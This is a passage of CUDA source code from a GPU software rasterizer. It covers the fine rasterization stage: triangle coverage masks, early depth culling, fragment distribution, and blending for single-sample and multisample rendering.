(pixelX << (SamplesLog2 + 1)) + (centroid & 0xF), (pixelY << (SamplesLog2 + 1)) + (centroid >> 4)); } } // Run shader. fs.run(); } //------------------------------------------------------------------------ template __device__ __inline__ void runBlendShader( BlendShaderClass& bs, int triIdx, int pixelX, int pixelY, int sampleIdx, U32 src, U32 dst) { bs.m_triIdx = triIdx; bs.m_pixelPos = Vec2i(pixelX, pixelY); bs.m_sampleIdx = sampleIdx; bs.m_src = src; bs.m_dst = dst; bs.m_color = 0xFF0000FF; bs.m_writeColor = true; bs.run(); } //------------------------------------------------------------------------ // Utility funcs. //------------------------------------------------------------------------ template __device__ __inline__ void setupCentroidLUT(volatile U8* lut) { for (int mask = threadIdx.x + threadIdx.y * 32; mask < (1 << (1 << SamplesLog2)); mask += blockDim.y * 32) { U32 value = 0x11 << SamplesLog2; int y = selectMSAACentroid(SamplesLog2, mask); if (y != -1) { int x = c_msaaPatterns[SamplesLog2][y]; value = x * 0x02 + y * 0x20 + 0x11; } lut[mask] = (U8)value; } } //------------------------------------------------------------------------ __device__ __inline__ void initTileZMax(U32& tileZMax, bool& tileZUpd, volatile U32* tileDepth) { tileZMax = CR_DEPTH_MAX; tileZUpd = (::min(tileDepth[threadIdx.x], tileDepth[threadIdx.x + 32]) < tileZMax); } template __device__ __inline__ void updateTileZMax(U32& tileZMax, bool& tileZUpd, volatile U32* tileDepth, volatile U32* temp) { if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0 && __any(tileZUpd)) { U32 z = ::max(tileDepth[threadIdx.x], tileDepth[threadIdx.x + 32]); temp[threadIdx.x + 16] = z; z = ::max(z, temp[threadIdx.x + 16 - 1]); temp[threadIdx.x + 16] = z; z = ::max(z, temp[threadIdx.x + 16 - 2]); temp[threadIdx.x + 16] = z; z = ::max(z, temp[threadIdx.x + 16 - 4]); temp[threadIdx.x + 16] = z; z = ::max(z, temp[threadIdx.x + 16 - 8]); temp[threadIdx.x + 16] = z; z = ::max(z, temp[threadIdx.x + 16 - 16]); temp[threadIdx.x + 16] = z; tileZMax = temp[47]; tileZUpd = false; } } //------------------------------------------------------------------------ __device__ __inline__ void getTriangle(S32& triIdx, S32& dataIdx, uint4& triHeader, S32& segment) { const CRTriangleHeader* triHeaderPtr = (const CRTriangleHeader*)c_crParams.triHeader; const S32* tileSegData = (const S32*)c_crParams.tileSegData; const S32* tileSegNext = (const S32*)c_crParams.tileSegNext; const S32* tileSegCount = (const S32*)c_crParams.tileSegCount; if (threadIdx.x >= tileSegCount[segment]) { CR_COUNT(FineStreamEndCull, 100, 1); triIdx = -1; dataIdx = -1; } else { CR_COUNT(FineStreamEndCull, 0, 1); int subtriIdx = tileSegData[segment * CR_TILE_SEG_SIZE + threadIdx.x]; triIdx = subtriIdx >> 3; dataIdx = triIdx; subtriIdx &= 7; if (subtriIdx != 7) dataIdx = triHeaderPtr[triIdx].misc + subtriIdx; triHeader = tex1Dfetch(t_triHeader, dataIdx); } // count triangles per tile using thread 0 CR_COUNT(FineTriPerTile, tileSegCount[segment], 0); // advance to next segment segment = tileSegNext[segment]; } //------------------------------------------------------------------------ template __device__ __inline__ bool earlyZCull(uint4 triHeader, U32 tileZMax) { if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0) { U32 zmin = triHeader.w & 0xFFFFF000; CR_COUNT(FineEarlyZCull, (zmin >= tileZMax) ? 100 : 0, 1); if (zmin >= tileZMax) return true; } return false; } //------------------------------------------------------------------------ template __device__ __inline__ U64 trianglePixelCoverage(const uint4& triHeader, int tileX, int tileY, volatile U64* s_cover8x8_lut) { int baseX = (tileX << (CR_TILE_LOG2 + CR_SUBPIXEL_LOG2)) - ((c_crParams.viewportWidth - 1) << (CR_SUBPIXEL_LOG2 - 1)); int baseY = (tileY << (CR_TILE_LOG2 + CR_SUBPIXEL_LOG2)) - ((c_crParams.viewportHeight - 1) << (CR_SUBPIXEL_LOG2 - 1)); // extract S16 vertex positions while subtracting tile coordinates S32 v0x = sub_s16lo_s16lo(triHeader.x, baseX); S32 v0y = sub_s16hi_s16lo(triHeader.x, baseY); S32 v01x = sub_s16lo_s16lo(triHeader.y, triHeader.x); S32 v01y = sub_s16hi_s16hi(triHeader.y, triHeader.x); S32 v20x = sub_s16lo_s16lo(triHeader.x, triHeader.z); S32 v20y = sub_s16hi_s16hi(triHeader.x, triHeader.z); // extract flipbits U32 f01 = (triHeader.w >> 6) & 0x3C; U32 f12 = (triHeader.w >> 2) & 0x3C; U32 f20 = (triHeader.w << 2) & 0x3C; // compute per-edge coverage masks U64 c01, c12, c20; if (SamplesLog2 == 0) { c01 = cover8x8_exact_fast(v0x, v0y, v01x, v01y, f01, s_cover8x8_lut); c12 = cover8x8_exact_fast(v0x + v01x, v0y + v01y, -v01x - v20x, -v01y - v20y, f12, s_cover8x8_lut); c20 = cover8x8_exact_fast(v0x, v0y, v20x, v20y, f20, s_cover8x8_lut); } else { c01 = cover8x8_conservative_fast(v0x, v0y, v01x, v01y, f01, s_cover8x8_lut); c12 = cover8x8_conservative_fast(v0x + v01x, v0y + v01y, -v01x - v20x, -v01y - v20y, f12, s_cover8x8_lut); c20 = cover8x8_conservative_fast(v0x, v0y, v20x, v20y, f20, s_cover8x8_lut); } // combine masks return c01 & c12 & c20; } //------------------------------------------------------------------------ template __device__ __inline__ U32 triangleSampleCoverage(const uint4& triHeader, int pixelX, int pixelY) { int baseX = (pixelX << CR_SUBPIXEL_LOG2) - ((c_crParams.viewportWidth - 1) << (CR_SUBPIXEL_LOG2 - 1)); int baseY = (pixelY << CR_SUBPIXEL_LOG2) - ((c_crParams.viewportHeight - 1) << (CR_SUBPIXEL_LOG2 - 1)); // extract S16 vertex positions while subtracting pixel coordinates S32 v0x = sub_s16lo_s16lo(triHeader.x, baseX); S32 v0y = sub_s16hi_s16lo(triHeader.x, baseY); S32 v01x = sub_s16lo_s16lo(triHeader.y, triHeader.x); S32 v01y = sub_s16hi_s16hi(triHeader.y, triHeader.x); S32 v20x = sub_s16lo_s16lo(triHeader.x, triHeader.z); S32 v20y = sub_s16hi_s16hi(triHeader.x, triHeader.z); // compute per-edge coverage masks U32 c01 = coverMSAA_fast(SamplesLog2, v0x, v0y, v01x, v01y); U32 c12 = coverMSAA_fast(SamplesLog2, v0x + v01x, v0y + v01y, -v01x - v20x, -v01y - v20y); U32 c20 = coverMSAA_fast(SamplesLog2, v0x, v0y, v20x, v20y); // combine masks return c01 & c12 & c20; } //------------------------------------------------------------------------ __device__ __inline__ U32 scan32_value(U32 value, volatile U32* temp) { temp[threadIdx.x + 16] = value; value += temp[threadIdx.x + 16 - 1], temp[threadIdx.x + 16] = value; value += temp[threadIdx.x + 16 - 2], temp[threadIdx.x + 16] = value; value += temp[threadIdx.x + 16 - 4], temp[threadIdx.x + 16] = value; value += temp[threadIdx.x + 16 - 8], temp[threadIdx.x + 16] = value; value += temp[threadIdx.x + 16 - 16], temp[threadIdx.x + 16] = value; return value; } __device__ __inline__ volatile const U32& scan32_total(volatile U32* temp) { return temp[47]; } //------------------------------------------------------------------------ template __device__ __inline__ U32 determineROPLaneMask(volatile U32& warpTemp) // mask of lanes that should process an earlier fragment than this lane { bool reverseLanes = true; if ((RenderModeFlags & RenderModeFlag_EnableDepth) == 0) { BlendShaderClass bs; if (!bs.needsDst()) reverseLanes = false; } U32 mask = (reverseLanes) ? (1u << threadIdx.x) : ~0u; do { warpTemp = threadIdx.x; mask ^= 1u << warpTemp; } while (warpTemp != threadIdx.x); return mask; } template __device__ __inline__ S32 findBit(U64 mask, int idx) { U32 x = getLo(mask); int pop = __popc(x); bool p = (pop <= idx); if (p) x = getHi(mask); if (p) idx -= pop; int bit = p ? 32 : 0; pop = __popc(x & 0x0000ffffu); p = (pop <= idx); if (p) x >>= 16; if (p) bit += 16; if (p) idx -= pop; if ((RenderModeFlags & RenderModeFlag_EnableQuads) == 0) { // Optimized variant. // Assumes that scanlines do not contain holes, and doesn't thus support quad rendering. // Counts scanlines LSB->MSB, but bits within them MSB->LSB. // 21 instructions. U32 tmp = x & 0x000000ffu; pop = __popc(tmp); p = (pop <= idx); if (p) tmp = x & 0x0000ff00u; if (p) idx -= pop; return findLeadingOne(tmp) + bit - idx; } else { // Generic variant. Counts bits LSB->MSB. // 33 instructions. pop = __popc(x & 0x000000ffu); p = (pop <= idx); if (p) x >>= 8; if (p) bit += 8; if (p) idx -= pop; pop = __popc(x & 0x0000000fu); p = (pop <= idx); if (p) x >>= 4; if (p) bit += 4; if (p) idx -= pop; pop = __popc(x & 0x00000003u); p = (pop <= idx); if (p) x >>= 2; if (p) bit += 2; if (p) idx -= pop; if (idx >= (x & 1)) bit++; return bit; } } __device__ __inline__ U64 quadCoverage(U64 mask) { mask |= mask >> 1; mask |= mask >> 8; return mask & 0x0055005500550055; } template __device__ __inline__ int numFragments(U64 coverage) { if ((RenderModeFlags & RenderModeFlag_EnableQuads) == 0) return __popcll(coverage); else return __popcll(quadCoverage(coverage)) << 2; } template __device__ __inline__ int findFragment(U64 coverage, int fragIdx) { if ((RenderModeFlags & RenderModeFlag_EnableQuads) == 0) return findBit(coverage, fragIdx); else { int t = findBit(quadCoverage(coverage), fragIdx >> 2); return t + (threadIdx.x & 1) + ((threadIdx.x & 2) << 2); } } //------------------------------------------------------------------------ // Single-sample implementation. //------------------------------------------------------------------------ template __device__ __inline__ void executeROP_SingleSample( int triIdx, int pixelX, int pixelY, U32 color, U32 depth, volatile U32* pColor, volatile U32* pDepth, U32& timerTotal) { BlendShaderClass bs; int rounds = 0; if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0) { CR_TIMER_IN(FineROPConfResolve); do { rounds++; CR_TIMER_OUT_DEP(FineROPConfResolve, rounds); CR_TIMER_IN(FineROPBlend); *pDepth = depth; U32 sColor = *pColor; runBlendShader(bs, triIdx, pixelX, pixelY, 0, color, sColor); if (bs.m_writeColor) *pColor = bs.m_color; CR_TIMER_OUT(FineROPBlend); CR_TIMER_IN(FineROPConfResolve); } while (depth < *pDepth); CR_TIMER_OUT(FineROPConfResolve); } else if (!bs.needsDst()) { rounds++; CR_TIMER_IN(FineROPBlend); runBlendShader(bs, triIdx, pixelX, pixelY, 0, color, 0); if (bs.m_writeColor) *pColor = bs.m_color; CR_TIMER_OUT(FineROPBlend); } else { CR_TIMER_IN(FineROPConfResolve); do { rounds++; CR_TIMER_OUT_DEP(FineROPConfResolve, rounds); CR_TIMER_IN(FineROPBlend); *pDepth = threadIdx.x; U32 sColor = *pColor; runBlendShader(bs, triIdx, pixelX, pixelY, 0, color, sColor); if (bs.m_writeColor) *pColor = bs.m_color; CR_TIMER_OUT(FineROPBlend); CR_TIMER_IN(FineROPConfResolve); } while (*pDepth != threadIdx.x); CR_TIMER_OUT(FineROPConfResolve); } #if (CR_PROFILING_MODE == ProfilingMode_Counters) CR_COUNT(FineBlendRounds, 0, 1); for (int i = 0; __any(i < rounds); i++) CR_COUNT(FineBlendRounds, 1, 0); #endif } //------------------------------------------------------------------------ template __device__ __inline__ void fineRasterImpl_SingleSample(void) { // for 20 warps: __shared__ volatile U64 s_cover8x8_lut[CR_COVER8X8_LUT_SIZE]; // 6KB __shared__ volatile U32 s_tileColor [CR_FINE_MAX_WARPS][CR_TILE_SQR]; // 5KB __shared__ volatile U32 s_tileDepth [CR_FINE_MAX_WARPS][CR_TILE_SQR]; // 5KB __shared__ volatile U32 s_triangleIdx [CR_FINE_MAX_WARPS][64]; // 5KB original triangle index __shared__ volatile U32 s_triDataIdx [CR_FINE_MAX_WARPS][64]; // 5KB CRTriangleData index __shared__ volatile U64 s_triangleCov [CR_FINE_MAX_WARPS][64]; // 10KB coverage mask __shared__ volatile U32 s_triangleFrag[CR_FINE_MAX_WARPS][64]; // 5KB fragment index __shared__ volatile U32 s_temp [CR_FINE_MAX_WARPS][80]; // 6.25KB // = 47.25KB total const S32* activeTiles = (const S32*)c_crParams.activeTiles; const S32* tileFirstSeg = (const S32*)c_crParams.tileFirstSeg; volatile U32* tileColor = s_tileColor[threadIdx.y]; volatile U32* tileDepth = s_tileDepth[threadIdx.y]; volatile U32* triangleIdx = s_triangleIdx[threadIdx.y]; volatile U32* triDataIdx = s_triDataIdx[threadIdx.y]; volatile U64* triangleCov = s_triangleCov[threadIdx.y]; volatile U32* triangleFrag = s_triangleFrag[threadIdx.y]; volatile U32* temp = s_temp[threadIdx.y]; if (g_crAtomics.numSubtris > c_crParams.maxSubtris || g_crAtomics.numBinSegs > c_crParams.maxBinSegs || g_crAtomics.numTileSegs > c_crParams.maxTileSegs) return; CR_TIMER_INIT(); CR_TIMER_IN(FineTotal); U32 ropLaneMask = determineROPLaneMask(temp[0]); temp[threadIdx.x] = 0; // first 16 elements of temp are always zero cover8x8_setupLUT(s_cover8x8_lut); __syncthreads(); // loop over tiles for (;;) { CR_TIMER_IN(FinePickTile); // pick a tile if (threadIdx.x == 0) temp[16] = atomicAdd(&g_crAtomics.fineCounter, 1); int activeIdx = temp[16]; if (activeIdx >= g_crAtomics.numActiveTiles) { CR_TIMER_OUT(FinePickTile); break; } int tileIdx = activeTiles[activeIdx]; S32 segment = tileFirstSeg[tileIdx]; int tileY = idiv_fast(tileIdx, c_crParams.widthTiles); int tileX = tileIdx - tileY * c_crParams.widthTiles; // initialize per-tile state int triRead = 0, triWrite = 0; int fragRead = 0, fragWrite = 0; triangleFrag[63] = 0; // "previous triangle" CR_TIMER_OUT_DEP(FinePickTile, triangleFrag[63]); CR_TIMER_IN(FineReadTile); // deferred clear => clear tile if (c_crParams.deferredClear) { tileColor[threadIdx.x] = c_crParams.clearColor; tileDepth[threadIdx.x] = c_crParams.clearDepth; tileColor[threadIdx.x + 32] = c_crParams.clearColor; tileDepth[threadIdx.x + 32] = c_crParams.clearDepth; } // otherwise => read tile from framebuffer else { int surfX = (tileX << (CR_TILE_LOG2 + 2)) + ((threadIdx.x & (CR_TILE_SIZE - 1)) << 2); int surfY = (tileY << CR_TILE_LOG2) + (threadIdx.x >> CR_TILE_LOG2); tileColor[threadIdx.x] = surf2Dread(s_colorBuffer, surfX, surfY); tileDepth[threadIdx.x] = surf2Dread(s_depthBuffer, surfX, surfY); tileColor[threadIdx.x + 32] = surf2Dread(s_colorBuffer, surfX, surfY + 4); tileDepth[threadIdx.x + 32] = surf2Dread(s_depthBuffer, surfX, surfY + 4); } CR_TIMER_OUT_DEP(FineReadTile, tileDepth[threadIdx.x + 32]); CR_TIMER_IN(FinePickTile); U32 tileZMax; bool tileZUpd; initTileZMax(tileZMax, tileZUpd, tileDepth); CR_TIMER_OUT_DEP(FinePickTile, tileZMax); // process fragments for(;;) { // need to queue more fragments? if (fragWrite - fragRead < 32 && segment >= 0) { // update tile z CR_TIMER_IN(FineUpdateTileZ); updateTileZMax(tileZMax, tileZUpd, tileDepth, temp); CR_TIMER_OUT_DEP(FineUpdateTileZ, tileZMax); // read triangles do { // read triangle index and data, advance to next segment CR_TIMER_IN(FineReadTriangle); S32 triIdx, dataIdx; uint4 triHeader; getTriangle(triIdx, dataIdx, triHeader, segment); CR_TIMER_OUT_DEP(FineReadTriangle, triHeader); // early z cull CR_TIMER_IN(FineEarlyZCull); if (triIdx >= 0 && earlyZCull(triHeader, tileZMax)) triIdx = -1; CR_TIMER_OUT_DEP(FineEarlyZCull, triIdx); // determine coverage CR_TIMER_IN(FinePixelCoverage); U64 coverage = trianglePixelCoverage<0>(triHeader, tileX, tileY, s_cover8x8_lut); S32 pop = (triIdx == -1) ? 0 : numFragments(coverage); CR_COUNT(FineEmptyCull, (pop == 0 && triIdx != -1) ? 100 : 0, (triIdx == -1) ? 0 : 1); CR_COUNT(FineFragPerTri, pop, (triIdx == -1) ? 0 : 1); CR_TIMER_OUT_DEP(FinePixelCoverage, pop); // fragment count scan CR_TIMER_IN(FineFragmentScan); U32 frag = scan32_value(pop, temp); CR_TIMER_OUT_DEP(FineFragmentScan, frag); CR_TIMER_IN(FineFragmentEnqueue); frag += fragWrite; // frag now holds cumulative fragment count fragWrite += scan32_total(temp); // queue non-empty triangles U32 goodMask = __ballot(pop != 0); if (pop != 0) { int idx = (triWrite + __popc(goodMask & getLaneMaskLt())) & 63; triangleIdx [idx] = triIdx; triDataIdx [idx] = dataIdx; triangleFrag[idx] = frag; triangleCov [idx] = coverage; } triWrite += __popc(goodMask); CR_TIMER_OUT_DEP(FineFragmentEnqueue, triWrite); } while (fragWrite - fragRead < 32 && segment >= 0); } // end of segment? if (fragRead == fragWrite) break; CR_TIMER_IN(FineFragmentDistr); // tag triangle boundaries temp[threadIdx.x + 16] = 0; if (triRead + threadIdx.x < triWrite) { int idx = triangleFrag[(triRead + threadIdx.x) & 63] - fragRead; if (idx <= 32) temp[idx + 16 - 1] = 1; } int ropLaneIdx = __popc(ropLaneMask); U32 boundaryMask = __ballot(temp[ropLaneIdx + 16]); // distribute fragments CR_TIMER_OUT_DEP(FineFragmentDistr, boundaryMask); if (ropLaneIdx < fragWrite - fragRead) { int triBufIdx = (triRead + __popc(boundaryMask & ropLaneMask)) & 63; int fragIdx = add_sub(fragRead, ropLaneIdx, triangleFrag[(triBufIdx - 1) & 63]); CR_TIMER_IN(FineFindBit); U64 coverage = triangleCov[triBufIdx]; int pixelInTile = findFragment(coverage, fragIdx); CR_TIMER_OUT_DEP(FineFindBit, pixelInTile); int triIdx = triangleIdx[triBufIdx]; int dataIdx = triDataIdx[triBufIdx]; // determine pixel position U32 pixelX = (tileX << CR_TILE_LOG2) + (pixelInTile & 7); U32 pixelY = (tileY << CR_TILE_LOG2) + (pixelInTile >> 3); CR_COUNT(SetupSamplesPerTri, (((U32)(coverage >> pixelInTile) & 1) != 0) ? 1 : 0, 0); // depth test U32 depth = 0; bool zkill = false; if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0) { CR_TIMER_IN(FineReadZData); uint4 zdata = tex1Dfetch(t_triData, dataIdx * 4); CR_TIMER_OUT_DEP(FineReadZData, zdata); CR_TIMER_IN(FineZKill); depth = zdata.x * pixelX + zdata.y * pixelY + zdata.z; U32 oldDepth = tileDepth[pixelInTile]; if (depth >= oldDepth) zkill = true; else if (oldDepth == tileZMax) tileZUpd = true; // we are replacing previous zmax => need to update CR_TIMER_OUT_DEP(FineZKill, tileZUpd); CR_COUNT(FineZKill, zkill ? 100 : 0, 1); } if ((RenderModeFlags & RenderModeFlag_EnableQuads) != 0 || !zkill) { // run fragment shader CR_COUNT(FineWarpUtil, 100, singleLane() ? 32 : 0); CR_TIMER_IN(FineShade); FragmentShaderClass fragShader; runFragmentShader( fragShader, triIdx, dataIdx, pixelX, pixelY, 0x11, &temp[16]); CR_TIMER_OUT(FineShade); // run ROP bool covered = (((U32)(coverage >> pixelInTile) & 1) != 0); if (((RenderModeFlags & RenderModeFlag_EnableQuads) == 0 || (covered && !zkill)) && !fragShader.m_discard) { executeROP_SingleSample( triIdx, pixelX, pixelY, fragShader.m_color, depth, &tileColor[pixelInTile], &tileDepth[pixelInTile], timerTotal); } } } // update counters fragRead = ::min(fragRead + 32, fragWrite); triRead += __popc(boundaryMask); } CR_COUNT(FineFragPerTile, fragRead, 1); CR_COUNT(FineTriPerTile, 0, 1); // Write tile back to the framebuffer. CR_TIMER_IN(FineWriteTile); { int surfX = (tileX << (CR_TILE_LOG2 + 2)) + ((threadIdx.x & (CR_TILE_SIZE - 1)) << 2); int surfY = (tileY << CR_TILE_LOG2) + (threadIdx.x >> CR_TILE_LOG2); surf2Dwrite(tileColor[threadIdx.x], s_colorBuffer, surfX, surfY); surf2Dwrite(tileDepth[threadIdx.x], s_depthBuffer, surfX, surfY); surf2Dwrite(tileColor[threadIdx.x + 32], s_colorBuffer, surfX, surfY + 4); surf2Dwrite(tileDepth[threadIdx.x + 32], s_depthBuffer, surfX, surfY + 4); } CR_TIMER_OUT(FineWriteTile); } CR_TIMER_OUT(FineTotal); CR_TIMER_DEINIT(); } //------------------------------------------------------------------------ // Multisample implementation. //------------------------------------------------------------------------ template __device__ __inline__ U32 executeROP_MultiSample( int triIdx, int pixelX, int pixelY, int sampleIdx, int surfX, bool covered, U32 color, U32 depth, volatile U32* temp, U32& timerTotal) { BlendShaderClass bs; int rounds = 0; U32 newDepth = 0; if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0) { CR_TIMER_IN(FineROPRead); U32 oldDepth = surf2Dread(s_depthBuffer, surfX, pixelY); *temp = oldDepth; CR_TIMER_OUT_DEP(FineROPRead, oldDepth); CR_TIMER_IN(FineROPConfResolve); if (covered && depth < oldDepth) { do { rounds++; *temp = depth; CR_TIMER_OUT_DEP(FineROPConfResolve, rounds); CR_TIMER_IN(FineROPRead); U32 dst = surf2Dread(s_colorBuffer, surfX, pixelY); CR_TIMER_OUT_DEP(FineROPRead, dst); CR_TIMER_IN(FineROPBlend); runBlendShader(bs, triIdx, pixelX, pixelY, sampleIdx, color, dst); CR_TIMER_OUT(FineROPBlend); CR_TIMER_IN(FineROPWrite); if (bs.m_writeColor) surf2Dwrite(bs.m_color, s_colorBuffer, surfX, pixelY); CR_TIMER_OUT(FineROPWrite); CR_TIMER_IN(FineROPConfResolve); } while (depth < *temp); } CR_TIMER_OUT(FineROPConfResolve); CR_TIMER_IN(FineROPWrite); newDepth = *temp; if (newDepth != oldDepth) surf2Dwrite(newDepth, s_depthBuffer, surfX, pixelY); CR_TIMER_OUT(FineROPWrite); } else if (covered) { if (!bs.needsDst()) { rounds++; CR_TIMER_IN(FineROPBlend); runBlendShader(bs, triIdx, pixelX, sampleIdx, pixelY, color, 0); CR_TIMER_OUT(FineROPBlend); CR_TIMER_IN(FineROPWrite); if (bs.m_writeColor) surf2Dwrite(bs.m_color, s_colorBuffer, surfX, pixelY); CR_TIMER_OUT(FineROPWrite); } else { CR_TIMER_IN(FineROPConfResolve); do { rounds++; *temp = threadIdx.x; CR_TIMER_OUT_DEP(FineROPConfResolve, rounds); CR_TIMER_IN(FineROPRead); U32 dst = surf2Dread(s_colorBuffer, surfX, pixelY); CR_TIMER_OUT_DEP(FineROPRead, dst); CR_TIMER_IN(FineROPBlend); runBlendShader(bs, triIdx, pixelX, pixelY, sampleIdx, color, dst); CR_TIMER_OUT(FineROPBlend); CR_TIMER_IN(FineROPWrite); if (bs.m_writeColor) surf2Dwrite(bs.m_color, s_colorBuffer, surfX, pixelY); CR_TIMER_OUT(FineROPWrite); CR_TIMER_IN(FineROPConfResolve); } while (*temp != threadIdx.x); CR_TIMER_OUT(FineROPConfResolve); } } #if (CR_PROFILING_MODE == ProfilingMode_Counters) if (__any(rounds != 0)) { CR_COUNT(FineBlendRounds, 1, 1); for (int i = 1; __any(i < rounds); i++) CR_COUNT(FineBlendRounds, 1, 0); } #endif return newDepth; } //------------------------------------------------------------------------ template __device__ __inline__ void fineRasterImpl_MultiSample(void) { // for 20 warps: __shared__ volatile U64 s_cover8x8_lut[CR_COVER8X8_LUT_SIZE]; // 6KB __shared__ volatile U8 s_centroid_lut[1 << (1 << SamplesLog2)]; // 0.25KB __shared__ volatile U32 s_tileDepth [CR_FINE_MAX_WARPS][CR_TILE_SQR]; // 5KB __shared__ volatile U32 s_triangleIdx [CR_FINE_MAX_WARPS][64]; // 5KB original triangle index __shared__ volatile U32 s_triDataIdx [CR_FINE_MAX_WARPS][64]; // 5KB CRTriangleData index __shared__ volatile U64 s_triangleCov [CR_FINE_MAX_WARPS][64]; // 10KB coverage mask __shared__ volatile U32 s_triangleFrag[CR_FINE_MAX_WARPS][64]; // 5KB fragment index __shared__ volatile U32 s_temp [CR_FINE_MAX_WARPS][80]; // 6.25KB // = 42.5KB total const S32* activeTiles = (const S32*)c_crParams.activeTiles; const S32* tileFirstSeg = (const S32*)c_crParams.tileFirstSeg; volatile U32* tileDepth = s_tileDepth[threadIdx.y]; volatile U32* triangleIdx = s_triangleIdx[threadIdx.y]; volatile U32* triDataIdx = s_triDataIdx[threadIdx.y]; volatile U64* triangleCov = s_triangleCov[threadIdx.y]; volatile U32* triangleFrag = s_triangleFrag[threadIdx.y]; volatile U32* temp = s_temp[threadIdx.y]; if (g_crAtomics.numSubtris > c_crParams.maxSubtris || g_crAtomics.numBinSegs > c_crParams.maxBinSegs || g_crAtomics.numTileSegs > c_crParams.maxTileSegs) return; CR_TIMER_INIT(); CR_TIMER_IN(FineTotal); U32 ropLaneMask = determineROPLaneMask(temp[0]); temp[threadIdx.x] = 0; // first 16 elements of temp are always zero cover8x8_setupLUT(s_cover8x8_lut); setupCentroidLUT(s_centroid_lut); __syncthreads(); // loop over tiles for (;;) { CR_TIMER_IN(FinePickTile); // pick a tile if (threadIdx.x == 0) temp[16] = atomicAdd(&g_crAtomics.fineCounter, 1); int activeIdx = temp[16]; if (activeIdx >= g_crAtomics.numActiveTiles) { CR_TIMER_OUT(FinePickTile); break; } int tileIdx = activeTiles[activeIdx]; S32 segment = tileFirstSeg[tileIdx]; int tileY = idiv_fast(tileIdx, c_crParams.widthTiles); int tileX = tileIdx - tileY * c_crParams.widthTiles; int tileSurfX = tileX << (CR_TILE_LOG2 + SamplesLog2 + 2); // initialize per-tile state int triRead = 0, triWrite = 0; int fragRead = 0, fragWrite = 0; triangleFrag[63] = 0; // "previous triangle" // deferred clear => clear tile if (c_crParams.deferredClear) { int surfX = (tileX << (CR_TILE_LOG2 + (SamplesLog2 + 2))) + ((threadIdx.x & (CR_TILE_SIZE - 1)) << 2); int surfY = (tileY << CR_TILE_LOG2) + (threadIdx.x >> CR_TILE_LOG2); for (int i = 0; i < (1 << SamplesLog2); i++) { surf2Dwrite(c_crParams.clearColor, s_colorBuffer, surfX, surfY); surf2Dwrite(c_crParams.clearDepth, s_depthBuffer, surfX, surfY); surf2Dwrite(c_crParams.clearColor, s_colorBuffer, surfX, surfY + 4); surf2Dwrite(c_crParams.clearDepth, s_depthBuffer, surfX, surfY + 4); surfX += CR_TILE_SIZE << 2; } } U32 tileZMax = CR_DEPTH_MAX; bool tileZUpd = false; tileDepth[threadIdx.x] = CR_DEPTH_MAX; tileDepth[threadIdx.x + 32] = CR_DEPTH_MAX; CR_TIMER_OUT_DEP(FinePickTile, tileDepth[threadIdx.x + 32]); // process fragments for(;;) { // need to queue more fragments? if (fragWrite - fragRead < 32 && segment >= 0) { // update tile z CR_TIMER_IN(FineUpdateTileZ); updateTileZMax(tileZMax, tileZUpd, tileDepth, temp); CR_TIMER_OUT_DEP(FineUpdateTileZ, tileZMax); // read triangles do { // read triangle index and data, advance to next segment CR_TIMER_IN(FineReadTriangle); S32 triIdx, dataIdx; uint4 triHeader; getTriangle(triIdx, dataIdx, triHeader, segment); CR_TIMER_OUT_DEP(FineReadTriangle, triHeader); // early z cull CR_TIMER_IN(FineEarlyZCull); if (triIdx >= 0 && earlyZCull(triHeader, tileZMax)) triIdx = -1; CR_TIMER_OUT_DEP(FineEarlyZCull, triIdx); // determine pixel coverage CR_TIMER_IN(FinePixelCoverage); U64 coverage = trianglePixelCoverage(triHeader, tileX, tileY, s_cover8x8_lut); S32 pop = (triIdx == -1) ? 0 : numFragments(coverage); CR_COUNT(FineEmptyCull, (pop == 0 && triIdx != -1) ? 100 : 0, (triIdx == -1) ? 0 : 1); CR_COUNT(FineFragPerTri, pop, (triIdx == -1) ? 0 : 1); CR_TIMER_OUT_DEP(FinePixelCoverage, pop); // fragment count scan CR_TIMER_IN(FineFragmentScan); U32 frag = scan32_value(pop, temp); CR_TIMER_OUT_DEP(FineFragmentScan, frag); CR_TIMER_IN(FineFragmentEnqueue); frag += fragWrite; // frag now holds cumulative fragment count fragWrite += scan32_total(temp); // queue non-empty triangles U32 goodMask = __ballot(pop != 0); if (pop != 0) { int idx = (triWrite + __popc(goodMask & getLaneMaskLt())) & 63; triangleIdx [idx] = triIdx; triDataIdx [idx] = dataIdx; triangleFrag[idx] = frag; triangleCov [idx] = coverage; } triWrite += __popc(goodMask); CR_TIMER_OUT_DEP(FineFragmentEnqueue, triWrite); } while (fragWrite - fragRead < 32 && segment >= 0); } // end of segment? if (fragRead == fragWrite) break; CR_TIMER_IN(FineFragmentDistr); // tag triangle boundaries temp[threadIdx.x + 16] = 0; if (triRead + threadIdx.x < triWrite) { int idx = triangleFrag[(triRead + threadIdx.x) & 63] - fragRead; if (idx <= 32) temp[idx + 16 - 1] = 1; } int ropLaneIdx = __popc(ropLaneMask); U32 boundaryMask = __ballot(temp[ropLaneIdx + 16]); // distribute fragments CR_TIMER_OUT_DEP(FineFragmentDistr, boundaryMask); if (ropLaneIdx < fragWrite - fragRead) { int triBufIdx = (triRead + __popc(boundaryMask & ropLaneMask)) & 63; int fragIdx = add_sub(fragRead, ropLaneIdx, triangleFrag[(triBufIdx - 1) & 63]); CR_TIMER_IN(FineFindBit); U64 coverage = triangleCov[triBufIdx]; int pixelInTile = findFragment(coverage, fragIdx); CR_TIMER_OUT_DEP(FineFindBit, pixelInTile); int triIdx = triangleIdx[triBufIdx]; int dataIdx = triDataIdx[triBufIdx]; // determine pixel position U32 pixelX = (tileX << CR_TILE_LOG2) + (pixelInTile & 7); U32 pixelY = (tileY << CR_TILE_LOG2) + (pixelInTile >> 3); CR_COUNT(SetupSamplesPerTri, __popc(triangleSampleCoverage(tex1Dfetch(t_triHeader, dataIdx), pixelX, pixelY)), 0); // conservative depth test uint4 zdata = make_uint4(0, 0, 0, 0); U32 oldZMax = 0; U32 zbase = 0; bool zkill = false; if ((RenderModeFlags & RenderModeFlag_EnableDepth) != 0) { CR_TIMER_IN(FineReadZData); zdata = tex1Dfetch(t_triData, dataIdx * 4); CR_TIMER_OUT_DEP(FineReadZData, zdata); CR_TIMER_IN(FineZKill); oldZMax = tileDepth[pixelInTile]; zbase = ((zdata.x * pixelX + zdata.y * pixelY) << SamplesLog2) + zdata.z; U32 zmin = ((zdata.x + zdata.y) << 